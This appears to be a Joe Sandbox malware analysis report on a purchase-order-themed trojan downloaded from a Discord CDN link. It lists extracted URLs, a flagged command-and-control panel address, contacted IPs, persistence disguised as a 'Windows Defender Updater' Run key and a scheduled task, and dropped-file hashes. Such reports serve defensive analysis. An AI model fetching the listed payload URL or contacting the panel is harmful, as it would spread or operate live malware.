http://www.jiyu-kobo.co.jp/o	PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.256840057.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257311258.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.256689159.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257469781.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.256738851.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257221229.0000000005875000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/j	PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.256840057.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257221229.0000000005875000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fonts.com0	PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.253547729.000000000589D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.discordapp.com/attachments/897446870190800920/1077789889103405057/REVISED_PO.zipsb	wget.exe, 00000002.00000002.246796754.0000000000FC0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.jiyu-kobo.co.jp/a	PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257311258.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257469781.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257221229.0000000005875000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.tiro.comZ5	PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.255781468.0000000005862000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.255814216.0000000005864000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.comy=	PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.259410386.0000000005875000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://www.fontbureau.com/designersG	PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000002.306804992.0000000006A72000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.jiyu-kobo.co.jp/jp/B	PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.256840057.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257311258.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257469781.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257221229.0000000005875000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/?	PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000002.306804992.0000000006A72000.00000004.00000800.00020000.00000000.sdmp	false		high
http://fontfabrik.comX	PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.253632572.000000000589D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.founder.com.cn/cn/bThe	PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000002.306804992.0000000006A72000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers?	PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000002.306804992.0000000006A72000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.discordapp.com/attachments/897446870190800920/1077789889103405057/REVISED_PO.zipkb	wget.exe, 00000002.00000002.246820296.0000000002AB8000.00000004.00000020.00020000.00000000.sdmp, wget.exe, 00000002.00000003.246523646.0000000002AB4000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cnU	PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.255641408.0000000005869000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.255559192.0000000005863000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://search.yahoo.com?fr=crmas_sfpf	RudGXFgqTDEzz.exe, 00000018.00000002.562581462.00000000043D4000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.562581462.00000000043F1000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.562581462.00000000043AC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.jiyu-kobo.co.jp/jp//	PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257221229.0000000005875000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.tiro.com	PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000002.306804992.0000000006A72000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.discordapp.com/attachments/897446870190800920/1077789889103405057/REVISED_PO.ziptb	wget.exe, 00000002.00000003.246509431.0000000002B01000.00000004.00000020.00020000.00000000.sdmp, wget.exe, 00000002.00000002.246859935.0000000002B01000.00000004.00000020.00020000.00000000.sdmp, wget.exe, 00000002.00000002.246796754.0000000000FC0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.goodfont.co.kr	PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000002.306804992.0000000006A72000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ip-api.com8	Zip.exe, 00000014.00000002.477974900.00000285A2296000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ip-api.com4	PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000002.543538697.0000000002E61000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.typography.netD	PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000002.306804992.0000000006A72000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.galapagosdesign.com/staff/dennis.htm	PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000002.306804992.0000000006A72000.00000004.00000800.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.261093728.0000000005867000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.260959356.0000000005866000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://fontfabrik.com	PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000002.306804992.0000000006A72000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.google.com/chrome/answer/111996?visit_id=637962485686793996-3320600880&p=update_erro	RudGXFgqTDEzz.exe, 00000018.00000002.562581462.0000000004441000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.562581462.000000000449D000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.562581462.000000000446B000.00000004.00000800.00020000.00000000.sdmp, Chrome_History.txt.8.dr	false		high
http://www.founder.com.cn/cnl	PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.255241146.0000000005869000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.255249826.000000000586C000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.255219711.0000000005868000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/intl/en_uk/chrome/	RudGXFgqTDEzz.exe, 00000018.00000002.544366293.00000000031F9000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.562581462.0000000004483000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.562581462.000000000449D000.00000004.00000800.00020000.00000000.sdmp, Chrome_History.txt.8.dr	false		high
http://mavelecgr.com/webpanel/	PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000002.295331963.0000000003839000.00000004.00000800.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000002.295331963.0000000003915000.00000004.00000800.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000002.543538697.0000000002E61000.00000004.00000800.00020000.00000000.sdmp, update_232209.exe, 00000013.00000002.425875501.000000000418D000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.528716221.0000000000481000.00000040.00000400.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.544366293.0000000003191000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.fonts.com	PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.253547729.000000000589D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.sandoll.co.kr	PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000002.306804992.0000000006A72000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.comion=	PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.262756301.0000000005873000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.263669862.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.285445615.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.263777504.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.263441269.0000000005875000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://www.sajatypeworks.come	PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.253175734.0000000005884000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.sakkal.com	PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000002.306804992.0000000006A72000.00000004.00000800.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257672116.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.257595257.0000000005875000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cnBolG-k	PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.255391624.0000000005862000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.founder.com.cn/cnd	PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.255264548.0000000005862000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.galapagosdesign.com/j	PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.260959356.0000000005872000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.galapagosdesign.com/a)	PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.260959356.0000000005866000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0	PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.255999491.0000000005870000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000002.306804992.0000000006A72000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com	PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000002.306804992.0000000006A72000.00000004.00000800.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.259667638.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.259604063.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.259713325.0000000005875000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	RudGXFgqTDEzz.exe, 00000018.00000002.562581462.00000000043D4000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.562581462.00000000043F1000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.562581462.00000000043AC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.commY	PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.259667638.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.259604063.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.259713325.0000000005875000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.sajatypeworks.coms	PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.253175734.0000000005884000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://dl.google.com/tag/s/appguid%3D%7B8A69D345-D564-463C-AFF1-A69D9E530F96%7D%26iid%3D%7BBD4EA3DA	PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000002.562996880.00000000042E1000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.562581462.000000000444E000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.562581462.0000000004483000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.google.com/instal	RudGXFgqTDEzz.exe, 00000018.00000002.544366293.00000000031F9000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
208.95.112.1	ip-api.com	United States	53334	TUT-ASUS	false
162.159.135.233	cdn.discordapp.com	United States	13335	CLOUDFLARENETUS	false
89.45.67.2	mavelecgr.com	Netherlands	44901	BELCLOUDBG	true

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	813186
Start date and time:	2023-02-22 09:41:15 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 13m 55s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	urldownload.jbs
Sample URL:	https://cdn.discordapp.com/attachments/897446870190800920/1077789889103405057/REVISED_PO.zip
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	31
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.win@29/30@33/4
EGA Information:	Successful, ratio: 100%
HDC Information:	Failed
HCA Information:	Successful, ratio: 96% Number of executed functions: 162 Number of non-executed functions: 6

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ctldl.windowsupdate.com, wu-bg-shim.trafficmanager.net
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
09:42:19	API Interceptor	543x Sleep call for process: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE modified
09:42:27	Task Scheduler	Run new task: RudGXFgqTDEzz path: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe
09:42:41	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Windows Defender Updater C:\Users\user\AppData\Local\Temp\update_232209.exe / start
09:42:49	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Windows Defender Updater C:\Users\user\AppData\Local\Temp\update_232209.exe / start
09:42:52	API Interceptor	78x Sleep call for process: RudGXFgqTDEzz.exe modified
09:43:01	API Interceptor	144x Sleep call for process: Zip.exe modified
09:43:05	API Interceptor	38x Sleep call for process: update_232209.exe modified

Process:	C:\Users\user\AppData\Local\Temp\Zip.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	2343
Entropy (8bit):	5.374204171243879
Encrypted:	false
SSDEEP:	48:MxHKEYHKGD8Ao6+vxpNl1qHGiD0HKeGitHTG1hAHKKPJAmHKoAPHZHpH+5HK+HKs:iqEYqGgAo9ZPlwmI0qertzG1eqKPJ/qo
MD5:	3F114A073575263E59307B55548FD5F4
SHA1:	971459D541646C4C6B382F06AAFA9F4147716568
SHA-256:	2417EC96E49CF7352D91892438478E961D8DC870FEB8E8821C732383CD9351F2
SHA-512:	EA7B613DF726F230ADFEF841E4C8A753228B3AFAE7F2D2FDC2704892910F18254F2D9B31AA5E7D4C993137BCAE92B0FF77D9D31503E96D605DBF0589E42AD809
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\10a17139182a9efd561f01fada9688a5\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\4e05e2e48b8a6dd267a8c9e25ef129a7\System.Core.ni.dll",0..3,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.V9921e851#\f2e0589ed6d670f264a5f65dd0ad000f\Microsoft.VisualBasic.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\49e5c0579db170be9741dccc34c1998e\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_6

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.log

Download File

Process:	C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1406
Entropy (8bit):	5.341099307467139
Encrypted:	false
SSDEEP:	24:MLU84jE4K5E4Ks2E1qE4qXKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7FE4sAmER:MgvjHK5HKXE1qHiYHKhQnoPtHoxHhAHg
MD5:	E5FA1A53BA6D70E18192AF6AF7CFDBFA
SHA1:	1C076481F11366751B8DA795C98A54DE8D1D82D5
SHA-256:	1D7BAA6D3EB5A504FD4652BC01A0864DEE898D35D9E29D03EB4A60B0D6405D83
SHA-512:	77850814E24DB48E3DDF9DF5B6A8110EE1A823BAABA800F89CD353EAC7F72E48B13F3F4A4DC8E5F0FAA707A7F14ED90577CF1CB106A0422F0BEDD1EFD2E940E4
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RudGXFgqTDEzz.exe.log

Download File

Process:	C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1406
Entropy (8bit):	5.341099307467139
Encrypted:	false
SSDEEP:	24:MLU84jE4K5E4Ks2E1qE4qXKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7FE4sAmER:MgvjHK5HKXE1qHiYHKhQnoPtHoxHhAHg
MD5:	E5FA1A53BA6D70E18192AF6AF7CFDBFA
SHA1:	1C076481F11366751B8DA795C98A54DE8D1D82D5
SHA-256:	1D7BAA6D3EB5A504FD4652BC01A0864DEE898D35D9E29D03EB4A60B0D6405D83
SHA-512:	77850814E24DB48E3DDF9DF5B6A8110EE1A823BAABA800F89CD353EAC7F72E48B13F3F4A4DC8E5F0FAA707A7F14ED90577CF1CB106A0422F0BEDD1EFD2E940E4
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\update_232209.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\update_232209.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1314
Entropy (8bit):	5.350128552078965
Encrypted:	false
SSDEEP:	24:MLU84jE4K5E4Ks2E1qE4qXKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7FE4sAmEw:MgvjHK5HKXE1qHiYHKhQnoPtHoxHhAHR
MD5:	1DC1A2DCC9EFAA84EABF4F6D6066565B
SHA1:	B7FCF805B6DD8DE815EA9BC089BD99F1E617F4E9
SHA-256:	28D63442C17BF19558655C88A635CB3C3FF1BAD1CCD9784090B9749A7E71FCEF
SHA-512:	95DD7E2AB0884A3EFD9E26033B337D1F97DDF9A8E9E9C4C32187DCD40622D8B1AC8CCDBA12A70A6B9075DF5E7F68DF2F8FBA4AB33DB4576BE9806B8E191802B7
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a

C:\Users\user\AppData\Local\Temp\2023-02-22-10-31-40-screenshot.png

Download File

Process:	C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE
File Type:	PNG image data, 1280 x 1024, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	883531
Entropy (8bit):	7.95479846588972
Encrypted:	false
SSDEEP:	12288:+LVo4Wd5CUN8NnP/NF8L9W+/yYAKSBGlkAjNQYBs4DJPlY34GCBl0PqYD2LffEbF:0Wd7N8NP/NGL9GYBpQYvPi4nBgiLfOF
MD5:	E578F1ED6CD2701A90DC7F67B16C9DFD
SHA1:	4E5CF5146EEDC1239577E3A1BB4FFC5C1C6FB84E
SHA-256:	2C3F7DE6007F42AD6C2363AF6D314B7232C39F3DAD087E6B20C084C57DBD8FE3
SHA-512:	2A3CBAB3C78BFB4270B69E421DF9F43B425EE8CF5B691DFB657DA2D5B0D91D86A94BEB9D9B221183B9DBBC22021E6D8975633DA6A692F89AD43DF5CEE5A28AD2
Malicious:	false
Reputation:	unknown
